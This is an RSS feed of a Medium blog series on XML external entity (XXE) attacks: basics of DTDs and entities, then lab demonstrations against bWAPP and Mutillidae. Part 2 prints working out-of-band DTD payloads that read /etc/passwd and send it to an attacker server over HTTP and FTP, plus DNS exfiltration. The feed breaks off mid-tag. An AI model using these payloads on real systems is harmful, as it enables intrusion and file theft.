<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by klose on Medium]]></title>
        <description><![CDATA[Stories by klose on Medium]]></description>
        <link>https://medium.com/@klose7?source=rss-c148e5d5ae65------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*2i1klAlu9aFRghPf.gif</url>
            <title>Stories by klose on Medium</title>
            <link>https://medium.com/@klose7?source=rss-c148e5d5ae65------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 23:51:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@klose7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[XXE Attacks —  Part 2: XML DTD related Attacks]]></title>
            <link>https://medium.com/@klose7/xxe-attacks-part-2-xml-dtd-related-attacks-a572e8deb478?source=rss-c148e5d5ae65------2</link>
            <guid isPermaLink="false">https://medium.com/p/a572e8deb478</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[xml]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[oob]]></category>
            <dc:creator><![CDATA[klose]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 19:12:02 GMT</pubDate>
            <atom:updated>2019-12-01T19:35:22.743Z</atom:updated>
            <content:encoded><![CDATA[<h3>XXE Attacks — Part 2: XML DTD related Attacks</h3><p>This is 2ᴺᴰ blog-post in <em>XXE</em> series and it will discuss about <strong><em>XML DTD </em></strong>related<strong><em> </em></strong>attacks, some methods and tricks to get around, possible impact and limitations for different platforms. Here, I’ll make use of common vulnerable web applications to demonstrate these attacks.</p><p><strong><em>XML DoS attacks</em></strong></p><p>These are aimed at XML parsers in which both, well-formed and valid, XML data crashes the system resources when being parsed. This attack is also known as XML bomb or Billion Laugh attack or exponential entity expansion attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*Fhky_qqsxYNt8sD0LQAvWA.png" /><figcaption>XML bomb</figcaption></figure><p>When the above internal entity gets parsed, it will actually result in 10⁹ of lols. The expansion consumes exponential amount of resources and time, causing a DoS.</p><p>A simple variation of this attack is known as Quadratic Blowup Attack, in which one large entity is defined and reference is made multiple times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*Rq5qaSStNqaCq4ZQcr1_cA.png" /><figcaption>XML Quadratic Blowup attack</figcaption></figure><p>Generally, I’ve encountered that people label these attack as DoS via XXE. This is <strong><em>not</em></strong> DoS via XXE because no eXternal entity is utilized here.</p><p><strong><em>Xml eXternal Entity ( XXE )</em></strong></p><p>As per OWASP, this attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.</p><p>Here, we opted for vulnerable applications Mutillidae and bWAPP in virtual environment. Vulnerable application was running on <em>192.168.56.104</em> and the attacker’s Apache server on <em>192.168.56.102</em> and attacker DNS server on <em>192.168.56.103</em>. Also, all the further attacks are considered from php XML parser <strong><em>libxml2</em></strong>.</p><p>Following are the <strong>XXE</strong> attack vectors:</p><blockquote><strong><em>Resource Inclusion via External Entities</em></strong></blockquote><p>The simplest example is that of including local file via file scheme using external entities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*__MG-PABn_wUHil7HDDBvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*CQhBTR3RgAtZ3FQlwdudoQ.png" /></figure><p>As the user input in reflected back in the response, this classic case of XXE is often termed as <strong>Error-based XXE</strong>.</p><p>Now, enter the payload to extract local files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*CgwzHviTKG1DmVrj-X4fAw.png" /><figcaption>Classical case of XXE in which file contents are included using External entities</figcaption></figure><p>But this data extraction technique is somewhat <strong>limited</strong> in many practical ways which are as follows:</p><p><strong>(i)</strong> <em>Allowed permissions: </em>If the file which we are referencing doesn’t have permissions then, this would result in failure. Removing all the permissions of <strong>/etc/passwd</strong> file from <em>others</em>, would result in failure to load the external entity as shown.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*-1-N9qg_h4srpRHmX1C9RQ.png" /><figcaption>file permissions</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*K86fgngi0IpQsKd292FskA.png" /></figure><p><strong>(ii)</strong> Content of the file must be a well-formed XML fragment and must not contain any arbitrary binary data. Any XML special characters existing in the /etc/passwd will cause an error and blocks entity inclusion.</p><p>Adding a random opening tag in the file would generate a parsing error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*qeWsuRGs3zweFp6drHiK2A.png" /><figcaption>/etc/passwd file doesn’t contain well-formed XML data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*93rFGk0kbGd6w3uRg0WMow.png" /></figure><p><em>Note: Data can still be retrieved in php applications using stream wrappers and data filters. We will discuss these later.</em></p><p><strong>(iii)</strong> Very Large files such as <strong>/dev/random</strong> and <strong>/dev/zero</strong> either can’t be retrieved or lead to Denial of Service. This is DoS via XXE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*kGM2d4Ix2_EBULB8u8QKmg.png" /></figure><p><strong>(iv)</strong> Resource Inclusion can also be carried out using Public External Entities. If you remember, in the last <a href="https://medium.com/@klose7/https-medium-com-klose7-xxe-attacks-part-1-xml-basics-6fa803da9f26">blogpost</a>, External entities were also categorized into two: one was private which used <strong>SYSTEM</strong> as keyword and other as Public which used <strong>PUBLIC</strong> as keyword.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*AQqxScbwKBG2BsyCdyRatw.png" /><figcaption>Public External Entity</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*ekNkcJE5hTdMmxSYZtxzug.png" /></figure><p><em>Java/Xerces, </em>one of the most popular SAX and DOM parser, which even results Directory Listing. We will look into Java based applications and parsers in later posts.</p><blockquote><strong><em>URL Invocation</em></strong></blockquote><p>Another attack surface is presented by the use of URL handlers. Each XML parser and the platform provides a different set of URL schemes. By invoking URLs from within external entities, an XML parser can be leveraged to initiate requests to third party systems (SSRF), internal port scans etc. The SSRF techniques can be expanded accordingly.</p><p>The support of the URL handlers is different in different platforms. This type of exploitation is useful when the XXE vulnerability is <strong><em>Blind</em></strong> i.e when the user supplied input is not reflected back in response or no data or files are returned. The only way to confirm is to invoke a request from the parser to the attacker domain.</p><p>This exploitation technique is also labelled as <em>“</em><strong><em>Out Of Band”. </em></strong>The OOB technique generally requires a vulnerable application to trigger an outbound TCP/UDP/ICMP request which will allow an attacker to exfiltrate data.</p><p>In security_level=1 of <strong>bWAPP</strong>, the XXE is blind as user data is not reflected back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*QazLXMSdtIBPWGP6X9LuPg.png" /></figure><p>Triggering a request within external entities to attacker’s domain confirms the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*gqBhJYMGlkRThDKLlm7TFQ.png" /><figcaption>Blind XXE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*9ErvxQY-VC2raGyQk8vr3w.png" /></figure><p><strong>Is there any way to retrieve the local files Out-of-Band?</strong></p><p><strong>Data Exfilteration over <em>HTTP</em></strong></p><p>Yes, there is but using General Entities, we can’t use or substitute some other reusable section inside a DTD. So, our underlying logic is that to attach the target’s resource to attacker’s domain for ex-filtration. We have to find some other way to extract out data. Parameter entities (PE) comes to the rescue along with some restrictions.</p><p>Parameter entities can be used in internal DTD subset by inserting markup declaration through external parameter entities.</p><p>Let’s examine this in bWAPP:</p><pre>&lt;!ENTITY % remote SYSTEM &quot;http://192.168.56.104/evil.xml&quot;&gt;<br>%remote;<br>%int;<br>%trick; ]&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7u-dzuR57q9UqAGEmDjbQ.png" /></figure><p>And the evil.xml at attacker’s site contains,</p><pre>&lt;!ENTITY % payl SYSTEM &quot;php://filter/read=convert.base64-encode/resource=file:///etc/passwd&quot;&gt;<br>&lt;!ENTITY % int &quot;&lt;!ENTITY &amp;#x25; trick SYSTEM &#39;http://192.168.56.102/?%payl;&#39;&gt;&quot;&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*rKBEj8m9I4oFksNqJmog0Q.png" /></figure><p>The first restriction was “<em>In internal DTD subset, PE references can’t be made within markup declarations”. </em>But this doesn’t apply when markups are declared through external PEs or to the external DTD subset.</p><p><em>Evil.xml</em> leverages this same logic. Here, Parameter Entity (PE), <strong>remote,</strong> is used in internal subset by inserting markup declaration via external PEs at <a href="http://192.168.56.102/">http://192.168.56.102/</a>. As soon as the XML parsers expands the remote, first request hits the attacker’s server looking for <em>evil.xml</em>. Notice that it’s part of the same DTD hence it doesn’t start with &lt;!DOCTYPE&gt;. Now the parser fetch the contents of <strong><em>/etc/passwd</em></strong>, base64 encodes them and assign it to <strong>payl</strong>. Secondary PE <strong>int </strong>creates another PE <strong>trick</strong> which contain a link to attacker’s domain attaching the values of <strong>payl</strong>. When PE <strong>trick </strong>is referenced, a second request is fired to attacker domain attached with the file contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NWoX4cwFgScn38aja1hsGQ.png" /><figcaption>Attacker server logs</figcaption></figure><p>This time there won’t be any problem even if the contents of <em>/etc/passwd</em> contains any XML special character or ill-formed XML as we leveraged php wrappers and data filters.</p><p><em>Note</em>: Little variation of this approach is required in Java/<em>Xerces</em>.</p><p><a href="#"><strong>Data Exfilteration over FTP</strong></a></p><p>Sometime a parser doesn’t allow the data extraction of files like /etc/passwd over HTTP. For instance, Java version since 1.7 doesn’t concatenate multiline urls into one using urlencode. Data can be exfiltrated over FTP also. For that, a simple FTP server is required. There is a ruby FTP server on <a href="https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb">github</a>.</p><p>It is almost similar as data exfil over HTTP. For this, I chose a vulnerable app utilizing Java.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQTixinDDCw0VWctVyZmhg.png" /></figure><p>A slight change in evil.xml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*zKzhQXT7787rH3rdUh9ymw.png" /></figure><pre>&lt;!ENTITY % payl SYSTEM &quot;file:///etc/passwd&quot;&gt;<br>&lt;!ENTITY % intern &quot;&lt;!ENTITY &amp;#x25; xxe SYSTEM &#39;ftp://192.168.56.102:2121/%payl;&#39;&gt;&quot;&gt;</pre><p>while the ftp server is live on port 2121</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*RujOgPtIcyqrwGlN5uUNqA.png" /></figure><p>Latest Java versions like 11.0.4 doesn’t allow multiline URIs at all.</p><p><a href="#"><strong>Data Exfilteration over DNS</strong></a></p><p>What if outbound HTTP request are blocked or our target is firewalled? Then, only one thing might come to rescue i.e <strong>DNS</strong>. DNS requests/queries are not generally blocked in an organization but shrewd system administrator may block DNS queries to external resolvers or implement some DNS proxy like Zscaler. Anyways, lets consider that DNS queries are not blocked.</p><p>From Blind XXE point of view, the first HTTP request is triggered from the server to include our payload DTD but external HTTP requests are blocked by firewall. So, what now? Hmmm, what if there is a file upload functionality and we are able to upload our <strong><em>evil.xml</em></strong> file??</p><p>First upload the malicious(in the context of parser) xml file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*MdlNBC2_oBQpdua-KMaWog.png" /><figcaption>Uploaded file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhwXkWuY9tNx1eeadJJMOg.png" /><figcaption>Contents of uploaded file</figcaption></figure><p>Here, we are trying to smuggle the contents of <strong>/etc/iop</strong> file over DNS.</p><p>Note: <strong><em>iop</em></strong> is a user created file, it’s not a standard file found in <strong>/etc/</strong> .</p><p>Now, install and configure the <strong>BIND9</strong> DNS server on the machine (attacker machine =&gt; 192.168.56.103). This is a head-ache process.</p><p>our domain is <em>klose.local</em></p><p>The logic is simple. We will attach the contents of <strong><em>/etc/iop</em></strong> file as subdomain of <em>klose.local. </em>But there are few limitations. One of them is character limit. DNS query can maximum contain <strong>253</strong> characters including [<strong>.</strong>]dots. Second is, target file should not contain any new line characters.</p><p>Here, we are signalling the xml parser to refer the payload (uploaded file).</p><pre>&lt;!ENTITY % remote SYSTEM &quot;http://192.168.56.104/bWAPP/images/file_upload.xml&quot;&gt;<br>%remote;<br>%int;<br>%trick; ]&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*LW-FgyOLQsIJaBG3tlon9A.png" /></figure><p>Now, access the DNS logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o6rjGKMbkib5TnbbE5UXkQ.png" /></figure><p>Hell, yeah. We got something as subdomain of <em>klose.local</em></p><pre>QmxpbmQgWFhFIGFuZCB0aGUgZG5zRXhmaWx0ZXJhdGlvbiAK</pre><p>base64 decode it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*-U505kIZiP0Ip23BzJmIug.png" /></figure><p>But if try to smuggle out the contents of /etc/passwd, then we have to do it recursively line by line somehow.</p><blockquote><strong>Remote Code Execution</strong></blockquote><p>RCE is possible via XXE in php applications but it’s very rare. It’s possible only if the php <strong>expect</strong> module is loaded on the vulnerable system which is, by the way, disabled by default. Also, the expect module is not supported in php7. Meanwhile, I’ve not yet explored the XXE in <em>.NET</em> applications. Yeah, a lot to explore!</p><p>XXE in php applications is more exciting. The reason being is that php provides a number of <strong><em>URL or Stream wrappers </em></strong>and <strong><em>Data filters</em></strong> which increases the attack surface. Libxml2 under php and libxml2 under Perl behaves differently because php has an entity handler which handles the external entities differently. By default, external entities are supported in php.</p><p>In the next post, I’ll try to explore other XXE attack vectors.</p><p>Till then,😎🕛</p><h4>References:</h4><ol><li><a href="https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing">XML External Entity (XXE) Processing</a></li><li><a href="https://www.youtube.com/watch?v=oEUSNk8XAQY">Blind XXE injections</a></li><li><a href="https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf">XML Out-Of-Band Data Retrieval by Timur Yunusov &amp; Alexey Osipov</a></li><li><a href="https://gist.github.com/staaldraad/01415b990939494879b4">XXE_payloads</a></li><li><a href="https://blog.zsec.uk/out-of-band-xxe-2/">XXE- Things are getting OOB</a>.</li><li><a href="https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb">ONsec-Lab- FTP Server script</a></li><li><a href="https://www.linuxtechi.com/install-configure-bind-9-dns-server-ubuntu-debian/">Bind9 installation and configuration in Ubuntu</a></li></ol><p>and damn Google!</p><p>and again, thanks to my friends <a href="https://twitter.com/1lastBr3ath">Pяαкαѕн</a> , <a href="https://twitter.com/lokesh1095">Lokesh</a> and <a href="https://twitter.com/WinsaafMan">Winsaafman </a>for helping me out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a572e8deb478" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XXE Attacks — Part 1: XML Basics]]></title>
            <link>https://medium.com/@klose7/https-medium-com-klose7-xxe-attacks-part-1-xml-basics-6fa803da9f26?source=rss-c148e5d5ae65------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fa803da9f26</guid>
            <category><![CDATA[dtd]]></category>
            <category><![CDATA[types-of-entites]]></category>
            <category><![CDATA[xxe]]></category>
            <category><![CDATA[xml]]></category>
            <category><![CDATA[entity]]></category>
            <dc:creator><![CDATA[klose]]></dc:creator>
            <pubDate>Mon, 07 Jan 2019 18:09:25 GMT</pubDate>
            <atom:updated>2019-01-12T08:40:33.569Z</atom:updated>
            <content:encoded><![CDATA[<h3>XXE Attacks— Part 1: XML Basics</h3><p>XXE has been included in OWASP 2017, officially, in a separate category and the importance of XML based vulnerabilities in web application security has given prominence. This XML <strong><em>series</em></strong> will provide a relevant and important XML basics and vulnerabilities.</p><p>This first post will discuss about essential <strong><em>XML basics</em></strong> from a pentester’s point of view and which I believe are important to understand.</p><p>What is XML?</p><p>eXtensible Markup Language. The essence of XML resides in its name. Let’s break the name then.</p><p><strong>Extensible</strong></p><p>Simply in nutshell, XML is skeleton which can be extended or elongated. It lets you define your own tags, the order in which these customized tags occur and how these tags gets displayed or processed. From the prospective of what a document could be, XML document can be utilized by a machine for configuration purpose, in case of web services like SOAP, WebDAV etc. the exchanged back and forth transient data is again, XML. Document formats like DOCX and ODF, Image formats like SVG are all composed of XML.</p><p><strong>Markup Language</strong></p><p>Markup means providing definition to texts and symbols. Just like HTML, XML is a markup language. Actually, a meta markup language i.e It allows us to create or define other markup languages like MathML, RSS etc</p><p><strong>XML vs HTML:-</strong></p><p>HTML is a Presentation language means it doesn’t provide information about how a document is structured or what it means.</p><p>XML is a Data Description language means using XML one can deduce the semantics of a document. Hence, XML documents are self-describing.</p><p>A quick question: What if the tags are not conveying the information they markup, directly? A moderate google search resulted in this:</p><p>XML document is <a href="http://docordie.blogspot.in/2006/08/xml-isnt-self-describing.html"><em>not actually self-describing in itself</em></a><em>!</em></p><p><em>For a XML syntax and tags to be self-describing, it should simultaneously convey the specific information they markup, all the semantics needed to distinguish among same tags and all the rules that govern the relationship to the content- all without any additional information.</em></p><p>Consider a simple example,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*BGhty6Vwxg0KLg-PUh2m5w.png" /><figcaption>xml-1</figcaption></figure><p>The above doc describing <em>itself</em> that we are talking about location of <strong>CP. </strong>In short, the XML tags are providing the information in conjunction with what they are marking up without any extra info!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*i7kIj7wInL-G3abEWqtheg.png" /></figure><p>Here, the doc is syntactically correct but it doesn’t describe itself. Right?Anyways, there is no point arguing over whether XML is truly self-describing or not. Just a food for thought.</p><p><strong><em>Some XML technologies:-</em></strong></p><p><strong>XPath</strong></p><p>It’s a query language used for locating and processing nodes in XML document. Because of doc’s hierarchical structure, it becomes possible to navigate in logical form.</p><p><strong>XSLT</strong></p><p>eXtensible Stylesheet Language Transformation. It’s a language used for transforming XML documents into other formats.</p><p><strong>XHTML</strong></p><p>It’s a stricter and a cleaner version of HTML which was designed to replace HTML. But why it was designed in the first place? Simple, to bridge up the gap between XML and HTML.</p><p><strong>XML structure</strong></p><p><strong>Elements, tags and Nodes</strong></p><p>XML document is made up of elements, tags and nodes. Tags are simply opening and closing ones. An element contains an opening tag, some content and a closing tag. Node is a generic term that applies to any type of XML document object and is a part of hierarchical structure.</p><p><strong>Attributes</strong></p><p>Just like HTML, XML attributes, basically, are adjectives or characteristics to an element.</p><h4><strong>Legality of XML document</strong></h4><p>In order for a XML document to be ‘legal’, there are two levels of legality:</p><ul><li>Well-formedness</li><li>Validity</li></ul><p>A <em>well-formed </em>XML document follows some rules which are as follows:-</p><ul><li>There must be single root element.</li><li>Elements must be properly nested.</li><li>Attribute values must be quoted.</li><li>Attribute values should not contain “<strong>&lt;</strong>” or “<strong>&amp;</strong>”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3OqMXtuNqFrk4v24S_OInA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*Tk1stVB66QpzKOmsv5xMLA.png" /></figure><p>Now, for a document to be valid, it must be well-formed and follows all the rules set down in document’s DTD. We’ll talk about DTD after some time.</p><p>But why there are two levels of legality?</p><p>Because most XML parsers are non-validating. XML parsers in the browser are non-validating, they just check for well-formedness.</p><p>Hence, well-formedness is mandatory and validity is optional.</p><h4><strong>Document Type Definition (DTD)</strong></h4><p>To achieve the validity of XML doc, we need DTD. Lets’ focus on the word “valid”. When a thing is said to be validated that means it is being compared against some pre-set rules and regulations, laws or logic. If there is a need to share the XML document and it need to be “validated” then some rules must be laid down for data to be formatted consistently.</p><p>DTD defines the doc structure with a list of valid elements, the order in which these elements occur and what data they contain. Hence, in two words, DTD is about element ordering and containment. A Document Type Definition can be declared inline inside an XML document, or as an external reference.</p><p><em>Oh! One more thing. DTD can also refer to Document Type Declaration or simply DOCTYPE. It is an instruction which connects an XML doc with DTD (Document Type Definition). The word “connection” messes things little bit. Hence, XML Document Type Declaration contains or points to Markup Declaration that provide Document Type Definition for XML docs. It can contain a Definition. It can point to a Definition.</em></p><p><em>Markup Declaration can be anything whether it is element, attribute, entity or for that matter notation.</em></p><p><em>The document type declaration must appear before the first element in the document.</em></p><p>The Document Type Definition for the whole document consists of both subsets taken together i.e Internal as well as External.</p><p><strong><em>Note:</em></strong> We’ll refer DTD as Document Type Definition unless and otherwise specified.</p><p>For example:</p><p>We have an address.xml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*L8A4b0-mGY6pPP41vbBgww.png" /></figure><p><strong>Internal DTD Example</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*jgOFipfBu3MqfOIXXMZIbQ.png" /></figure><p><strong>External DTD example, </strong>where a.dtd<strong> </strong>contains all the rules. While referencing an external DTD, include standalone=”no” attribute in XML declaration.</p><p><strong>Note:</strong> As mentioned above about Document Type Declaration (DOCTYPE), the external DTD (a.dtd) does not need the &lt;!DOCTYPE preamble as it is already been mentioned in xml document (address.xml).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*30xB5LsGfxexz8H72H5Xww.png" /></figure><p>a.dtd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*JYwOQcY204ws0KIFC-iSAw.png" /></figure><p>Let’s check it out. Our a.dtd is served at localhost:8000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1UOAOTNr5rXgcQAOV_DJw.png" /><figcaption>Parser validated the address.xml with a.dtd successfully</figcaption></figure><p>In the above DTDs, we defined some elements. Below are element declaration rules:</p><p>A DTD element declaration consists of a tag name and a definition in parentheses. These parentheses can contain rules for any of:</p><ul><li>Plain text</li><li>A single child element or elements</li><li>A sequence of elements</li></ul><p>There are also some notations which help, if in case, an element need to be specified more than once. Suppose, we need to specify that a single element can appear as many times as necessary. How will we do that? The below notations comes to the rescue just like regex for ease!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*pdaN2oFBEXLNuKSuviXNoQ.png" /><figcaption>XML element Notations</figcaption></figure><p>Elements that contain <strong>only</strong> Text are specified by <strong>PCDATA</strong> which stands for Parsed Character Data and refers to anything other than XML elements. In the above DTD, the elements other than &lt;address&gt; are specified by PCDATA which means that all these elements contains parsed string. Because PCDATA is parsed, it needs to be well-formed. Thus, appearance of <strong>&lt;</strong> will make parser throw error.</p><p>In connection with PCDATA, there is another thing that keeps appearing in webpages is <strong>CDATA</strong>. CDATA is section that will <em>not</em> be parsed by a parser. Tags inside the text will <em>not</em> be treated as markup, and one can include &lt;,&gt; and /characters.</p><p><strong>&lt;![CDATA[anything here]]&gt;</strong></p><p>Also, CDATA is generally used in xml directly, signalling the parser to tell that don’t parse the data or content inside a tag. CDATA section have no encoding, so there is no way to include the string “<strong><em>]]&gt;</em>”. </strong>It is a valid part of the document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*vo68JzHVOdal-O90stFVsA.png" /><figcaption>CDATA in a xml doc</figcaption></figure><p>In the above, we inserted a &lt;test&gt; tag inside CDATA and didn’t close it and no error was thrown.</p><h3><strong>Entities</strong></h3><p>An entity is piece of XML code that can be used and reused, again and again in a document by referencing it. It’s sort of symbolic representation of information.</p><p>Entities can be used to <em>substitute</em> bits of information, difficult to type characters or to include a complete document.</p><p><em>Entity Declaration</em></p><p>Entities must be declared before they can be used or referenced. They may be declared in DTD as in external subset or internal subset.</p><p>One more interesting thing was found that if same entity is declared more than once, only the first declaration is taken into consideration.</p><p>Types of Entities:</p><p>Based on context, Entities can be divided into different categories:</p><ul><li>If the context is substitution locally within a DTD as internal subset or from an external subset, then the entities are categorized as <strong>Internal</strong> and <strong>External.</strong></li><li>If the context is whether the entities declared will be parsed or not, then entities are categorized as <strong>Parsed</strong> and <strong>Un-parsed.</strong></li><li>If the context is how replacement or substitution will be used, then the entities are categorized as<strong> General </strong>and<strong> Parameter.</strong></li></ul><p><strong>Internal Entities</strong></p><p>The entities which are used as replacement text.</p><pre>&lt;!ENTITY asd “pppppppppppppppppp”&gt;</pre><p>The above entity can be referenced by <strong>&amp;asd;</strong></p><p>Internal entities are always parsed.</p><p>Five internal entities are predefined in XML:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*2cUuHIBAAxTT2zYMxmUrLg.png" /><figcaption>Predefined Entities</figcaption></figure><p>By default, All XML parsers support references to these entities.</p><p><strong><em>Character References</em></strong></p><p>Character references, which look exactly like entity references but in real are not, allows referencing of Unicode character in documents. These references are numeric and the format either is &amp;#nnn; or &amp;#xhhh; where n ∈ decimal Unicode character number and h ∈ Hexadecimal Unicode character number. XML parsers expand these references as soon as it finds them. HTML character reference list currently has 252 references as per HTML 4 DTD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*CQB2_wViKFHxBUZlxDw-8Q.png" /><figcaption>Character references in Chrome browser</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*uO7VEmuDNMd4GMYp11Da6w.png" /><figcaption>Character references</figcaption></figure><p><strong>External E<em>ntities</em></strong></p><p>For longer, multi-line replacements, storing the entity value in an external file would be better. This type of getting things done by calling substitutions that exists externally using an entity, simply, is External entity. Further, external entities can refer to internal or other external entities but there should not be any circular reference.</p><p>External entities are of two types: <strong>Public</strong> and <strong>Private</strong></p><p><strong><em>Private External Entity</em></strong>: These are identified by the keyword <em>SYSTEM</em> and are intended to use by single author.</p><pre>&lt;!ENTITY name SYSTEM “URI/resource”&gt;</pre><p><strong><em>Public External Entity</em></strong>: These are identified by the keyword <em>PUBLIC</em> and are intended for broader use.</p><pre>&lt;!ENTITY name PUBLIC “public_id” “URI/resource”&gt;</pre><p><strong>Parsed Entities</strong></p><p>Simply, the entities which are parsed are Parsed entities.</p><p><strong>Unparsed Entities</strong></p><p>Entities which refer to Non-XML data, identified by a notation, are “unparsed”. NOTATION is an element that describes the format of Non-XML data.</p><pre>&lt;!NOTATION GIF SYSTEM “CompuServe Graphics Interchange Format 87a”&gt;</pre><p>For eg.</p><pre>&lt;!ENTITY mypicture SYSTEM &quot;normphoto.gif&quot; NDATA GIF&gt;</pre><p>Unparsed entities can only be used as attribute values on elements with ENTITY attributes.</p><p>For embedding an unparsed entity in Document, first insert an element with ENTITY type attribute whose value is the name of unparsed entity declared in the DTD. An ENTITY attribute can only contain the name of an external, unparsed entity. It can contain the name of the entity, not a reference to the entity.</p><p>You could also declare the image attribute as CDATA and simply type the filename.</p><p><strong>General Entities</strong></p><p>All the above defined, declared and referenced entities are General entities. These entities are used within the XML document content. These are used as shorthand or substitution macros.</p><p><strong>Parameter Entities</strong></p><p>There was a limitation. Suppose if there is requirement of some reusable section of replacement text inside a DTD and general entity references are not expanded in the DTD, so what to do? Instead, there is a new entity provided which can be exclusively defined and referenced inside a DTD, the Parameter entity. These entities lets you reuse part of DTD in multiple places with some conditions. Also, <strong>Parameter entities can’t be used in the content of document</strong>. <strong>References to Parameter entities can only occur within DTD.</strong></p><p><strong>Creating &amp; Referencing Parameter entities</strong></p><p>Let’s try to understand using an example,</p><p>Consider a DTD in which there is requirement of separate elements for each sector that exist in a city. The element will be declared somewhat like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*SpF4ztzCyqjntuKvK818Mg.png" /></figure><p>One thing can be seen here is that there is lot of repetition of elements. The first logic that pops up in the brain is that can these repeated elements be substituted using some kind of entity reference inside DTD? The answer is Parameter entities.</p><p><em>&lt;!ENTITY % res “address, flat, shop, public_parking”&gt;</em> and it can referenced using <em>%res; </em>The final simpler and better element declaration will be:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*7-ZADZIDgS6xWpRDMcC8LA.png" /></figure><p>But this way of elemental substitution is <strong>limited to external DTDs</strong>. In above procedure, parameter entities are holding element groups in external subset of DTD.</p><p>The <strong>internal DTD subset is damn strict</strong>.</p><p>In the <em>internal subset</em> of DTD, references to parameter entities are not allowed within markup declarations. The below mentioned Parameter Entity reference fails:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*Qa0V-5cyA1oZXd51ATmf6w.png" /><figcaption>PE references are forbidden in internal subset.</figcaption></figure><p>XML parsers throws up the following error:</p><p><strong><em>The parameter entity reference “%param;” cannot occur within markup in the internal subset of the DTD.</em></strong></p><p>These entities may define a DTD syntax but doesn’t define a value that is immediately used inside another DTD tag. The below mentioned syntax will also fail:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*eVhNhDYv6yVDj8wpr1h5_g.png" /></figure><p>But there is a way to use parameter entities in internal DTD subset by inserting markup declaration through external parameter entities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*n1JsMWVHIyhIiCoT9fEMPg.png" /></figure><p>Where a.xml at <a href="http://192.168.56.102/">http://192.168.56.102</a> contains the following:</p><figure><img alt="" 